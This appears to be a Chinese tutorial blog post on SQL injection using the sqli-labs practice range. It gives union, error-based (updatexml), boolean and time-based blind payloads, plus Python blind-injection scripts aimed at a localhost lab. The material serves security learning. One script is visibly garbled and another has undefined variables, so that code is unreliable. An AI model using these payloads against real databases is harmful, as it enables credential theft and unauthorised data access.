sql注入知识整理

news2024/11/15 21:31:07

sql注入知识整理

一、SQL注入概念

SQL注入就是用户输入的一些语句没有被过滤,输入后诸如这得到了数据库的信息SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 数据库引擎的实例以进行分析和执行。 任何构成 SQL 语句的过程都应进行注入漏洞检查,因为数据库引擎将执行其接收到的所有语法有效的查询。

工作原理:

SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。 一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。 在存储的字符串随后串连到一个动态 SQL 命令中时,将执行该恶意代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。 由于插入的命令可能在执行前追加额外字符串,因此攻击者将用批注标记 -- 来标记终止注入的字符串。

二、sqllab靶场

在这里插入图片描述

联合注入

用order by检测列数,让第一个表查询为空,最终是为了注入管理员的账号密码,首先要管理员表名,要列名

我们需要注意的是在SQL注入中单引号,空格,#都会转义为%27,%20,%23

less-1/?id=1‘ order by 3--+

在这里插入图片描述
这里还能显示出来账号密码

less-1/?id=1‘ order by 4--+

在这里插入图片描述
这里黄色注释说明数据库一共只有三列。

然后利用联合查询

less-1/?id=-1'union select 1,2,3--+

使用 -1 作为 id 参数的原因通常是为了确保前面的查询部分没有返回任何有效的记录

在这里插入图片描述

现在我们就可以来爆破它的数据库名

less-1/?id=-1'union select 1,database(),version()--+

在这里插入图片描述

在这里插入图片描述

我们可以定位到这两个:

在这里插入图片描述

在这里插入图片描述

这里面有两张一个表名,一个是列名,于是我么可以尝试注入

less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述

less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

报错注入

less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
  • updatexml 函数的第一个参数,它通常应该是一个 XML 类型的表达式,但在这里它被用作引发错误的方式。
  • 0x7e:这是十六进制表示的 ~ 字符。它用来在错误消息中包裹输出内容。
  • (SELECT database()):这是一个子查询,用于获取当前数据库的名称。
  • concat(…):将这些片段连接成一个字符串,形式为 数据库名
  • updatexml 函数的第三个参数,也是用来引发错误的方式。
  • group by分组
    在这里插入图片描述

盲注

SQL注入是一种安全漏洞,攻击者通过向应用程序的输入字段插入SQL命令,影响数据库的执行。盲注是一种特殊的SQL注入形式,它不需要直接从应用程序获取错误信息,而是通过时间延迟来推断数据库的响应。

盲注的种类通常包括:

  1. 基于布尔的盲注:攻击者使用条件表达式(如 AND (SELECT ...)=(SELECT ...))来判断查询是否返回结果,从而推断数据。
  2. 基于时间的盲注:攻击者使用SLEEP()函数或其他导致延迟的函数来判断查询是否返回结果。
  3. 基于错误的盲注:攻击者使用UNION SELECT查询来获取数据库的错误信息。

页面有真有假

在这里插入图片描述

在这里插入图片描述

less-8/?id=1'and ascii(substr((select database()),1,1))=115--+

在这里,substr((select database()),1,1) 表示从数据库名称中提取第一个字符,这里=号也可以换成< >符号进行判断

less-8/?id=1'and length((select database()))>9--+

主要用到substr,ascii,length函数。

可以通过二分查找的python脚本直接将数据库名跑出来:

l = 'http://127.0.0.1/sql/Less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

通过修改payload再将列名跑出:


l = 'http://127.0.0.1/sql/Less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr((selectgroup_concat(table_namefrpm)information——schema。tables where table_schema=’security‘, %d, 1)) > %d--% (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

POST注入

post注入本质在于将用户输入的数据作为代码执行。这种攻击通常发生在用户通过POST请求提交数据时,如果程序没有对用户输入进行适当的过滤或验证,攻击者就可以通过在提交的数据中插入恶意注入来访问、修改或删除数据库中的数据。POST注入的高危点包括登录框、查询框以及任何与数据库有交互的表单。

1、输入1’出现报错语句,发现注入点

在这里插入图片描述

2、爆出列数

在使用order时候,发现使用第三行排序时会报错

在这里插入图片描述

3、使用联合查询爆出数库名

-1' union select databane(),2#

在这里插入图片描述
在这里插入图片描述

4,爆出表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

在这里插入图片描述

5,爆出列字

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

在这里插入图片描述

6.出数据

-1' union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984340.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

<数据集>电梯内人车识别数据集<目标检测>

数据集格式&#xff1a;VOC格式 图片数量&#xff1a;97张 标注数量(xml文件个数)&#xff1a;97 标注类别数&#xff1a;3 标注类别名称&#xff1a; [person, motorcycle, bicycle] 序号类别名称图片数框数1person891322motorcycle78793bicycle2222 使用标注工具&#…

跑酷视频素材去哪里下载?哪里有跑酷游戏视频素材?

在这个快节奏的视觉时代&#xff0c;跑酷视频因其惊险和动感吸引了众多动作爱好者和视频创作者的目光。如果您正在寻找高质量的跑酷视频素材来丰富您的项目&#xff0c;无论是增强视频的视觉冲击力还是展现跑酷运动的魅力&#xff0c;以下几个推荐的网站将是您的理想选择。 蛙…

『哈哥赠书 - 55期』-『码农职场:IT人求职就业手册』

文章目录 ⭐️ 码农职场&#xff1a;IT人求职就业手册⭐️ 本书简介⭐️ 作者简介⭐️ 编辑推荐 这是一本专为广大IT行业求职者量身定制的指南&#xff0c;提供了从职前准备到成功就业的全方位指导&#xff0c;涵盖了职业目标规划、自我技能评估、求职策略、简历准备以及职场心…

Monorepo与pnpm:前端项目管理的完美搭档

一、什么是pnpm pnpm又称 performant npm&#xff0c;翻译过来就是高性能的npm。 1.节省磁盘空间提高安装效率 pnpm通过使用硬链接和符号链接&#xff08;又称软链接&#xff09;的方式来避免重复安装以及提高安装效率。硬链接&#xff1a;和原文件共用一个磁盘地址&#xf…

企业HR解决方案:2024年最受欢迎软件

本文介绍了以下8款工具&#xff1a;Moka、薪人薪事、大易Dayee、DingTalk、GoCo、Bullhorn、Workday、UKG Pro。 很多企业在面临如何高效地管理招聘、薪酬和员工绩效时&#xff0c;都会遇到操作繁琐、数据难以整合等痛点。一个好的HR管理软件不仅能简化这些流程&#xff0c;还能…

Elasticsearch下篇

Elasticsearch下篇 文章目录 Elasticsearch下篇1 DSL查询1.1 快速入门1.2 叶子查询1.2.1 全文检索查询1.2.2 精确查询 1.3 复合查询1.4 排序和分页1.5 高亮显示 2 JavaRestClient2.1 快速入门2.2 构建查询条件2.3 排序和分页2.4 高亮显示 3 数据聚合3.1 DSL聚合3.2 RestClient聚…

写真馆在线管理系统-计算机毕业设计源码77939

摘要 随着互联网的快速发展和普及&#xff0c;传统的线下写真馆逐渐面临数字时代的挑战。为了更好地满足用户的需求和提升写真馆的服务质量&#xff0c;写真馆在线管理系统逐渐兴起并与传统写真馆形成了良好的互补关系。网上预约变得越来越日常&#xff0c;出于对企业发展的考虑…

当代最火的哲学家颜廷利:全球公认十个最厉害的思想家之一

颜廷利书法特点和艺术成就:全球公认十个最厉害的思想家之一&#xff0c;颜廷利教授是一位杰出的‌书法家,他的书法作品不仅体现了‌中国传统文化,而且在国内外享有高度评价,对当代书法艺术产生了深远的影响。在中国十大顶级哲学家排行榜上,当今世界最重要的思想家颜廷利教授的书…

深度学习入门数据集大全:CIFAR、ImageNet 和 MNIST

在开始深度学习和计算机视觉的旅程中&#xff0c;选择合适的数据集至关重要。本文将详细介绍三个常用的数据集&#xff1a;CIFAR、ImageNet 和 MNIST。这些数据集不仅为研究人员提供了丰富的训练资源&#xff0c;也为学习者提供了宝贵的实践机会。 CIFAR 数据集 简介 CIFAR&…

Stable Diffusion AI绘画|无用师真的无用么?中外老幼男女通吃?高清直出!无用师-亚洲融合终结版!

前言 老铁留言推荐无用师&#xff0c;那么今天它来了~ 今天试玩的是无用师大佬称作的终结版&#xff0c;正如大佬所言&#xff0c;都SD3了&#xff0c;再加上Pony系、Kolors 、混元等众多大模型系列。但老徐觉得在1.5的大模型中很多依然是很能打。虽然在艺术性&#xff0c;镜头…

Tomcat中间件监控指标解读

监控易是一款功能全面的监控软件&#xff0c;它能够实时监控IT系统的各项性能指标&#xff0c;包括服务器、网络设备、数据库、中间件等&#xff0c;帮助管理员及时发现并解决潜在的性能问题。在本次解读中&#xff0c;我们将重点关注Tomcat中间件的监控指标。 Tomcat是一个广泛…

NVIDIA Triton系列06-安装用户端软件

NVIDIA Triton系列06-安装用户端软件 B站&#xff1a;肆十二-的个人空间-肆十二-个人主页-哔哩哔哩视频 (bilibili.com) 博客&#xff1a;肆十二-CSDN博客 问答&#xff1a;(10 封私信 / 72 条消息) 肆十二 - 知乎 (zhihu.com) 在前面的文章中&#xff0c;已经带着读者创建好 T…

解决idea debug/run 启动项目一闪而过的问题

由于没有具体报错日志&#xff0c;难以排查&#xff0c;所以记录一下&#xff1b; 1、保证项目依赖正确&#xff0c;能build成功&#xff1a; 可能原因&#xff1a;maven配置文件不对&#xff0c;检查账号密码&#xff08;可能运维会换&#xff09;&#xff0c;检查仓库地址&…

The Llama 3 Herd of Models 第7部分视觉实验部分全文

第1,2,3部分,介绍、概览和预训练 第4部分,后训练 第5部分,结果 第6部分,推理 7 Vision Experiments 我们进行了一系列的实验,在这些实验中,我们通过一种由两个主要阶段组成的合成方法将视觉识别能力整合到Llama 3中。首先,我们通过在大量图像-文本对上引入和训练两种…

PHP海报在线制作系统小程序源码

创意无限&#xff0c;设计零门槛&#xff01; &#x1f3a8; 一键解锁设计大师潜能 你还在为找不到合适的设计师制作海报而烦恼吗&#xff1f;告别繁琐沟通&#xff0c;拥抱“海报在线制作系统”&#xff01;这个神奇的平台&#xff0c;让你无需任何设计基础&#xff0c;也能…

数据结构: 单向链表

目录 一、链表的概念及结构 二、单链表的实现 2.1 头文件 2.2 各个功能的实现 2.2.1 内存申请 2.2.2 头插&#xff0c;尾插&#xff0c;头删&#xff0c;尾删 头插 尾插 头删 尾删 2.2.3 查找数据 2.2.4 指定位置前中后的数据增删 指定位置之前插入数据 指定位置之后插…

完整版 [vue 配置electron]

vue 配置electron&#xff0c;使用make 进行打包 1. 安装依赖 yarn install 2. 在根目录新建文件夹 electron 3. package.json 文件里添加 "name": "my-electron-app","version": "1.0.0","description": "Hello W…

c++三大特性 封装、继承、多态 (一)

c中的继承 一. 封装封装的定义 二.继承的概念及定义2.1继承的概念2.2继承的定义2.2.1 定义格式2.2.2 继承关系和访问限定符2.2.3 继承基类成员访问方式的变化 三.基类和派生类对象赋值转换四.继承中的类作用域 一. 封装 封装的定义 数据和方法放到一起&#xff0c;把像访问定义…

【Canvas与艺术】八个等腰三角形拼成的八角楼

【成图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <head><title>八个等腰三角形拼成的八角楼</title><style type"text…

【C语言】编译和链接(细节的king)

文章目录 前言1. 翻译环境和运行环境1.1 翻译环境1.1.1 预处理&#xff08;预编译&#xff09;1.1.2 编译词法分析语法分析语义分析及优化 1.1.3 汇编1.1.4 链接 1.2 运行环境 前言 相信大家在学完C语言的全部基础知识&#xff0c;肯定会经常动手敲代码。以VS为例&#xff0c;…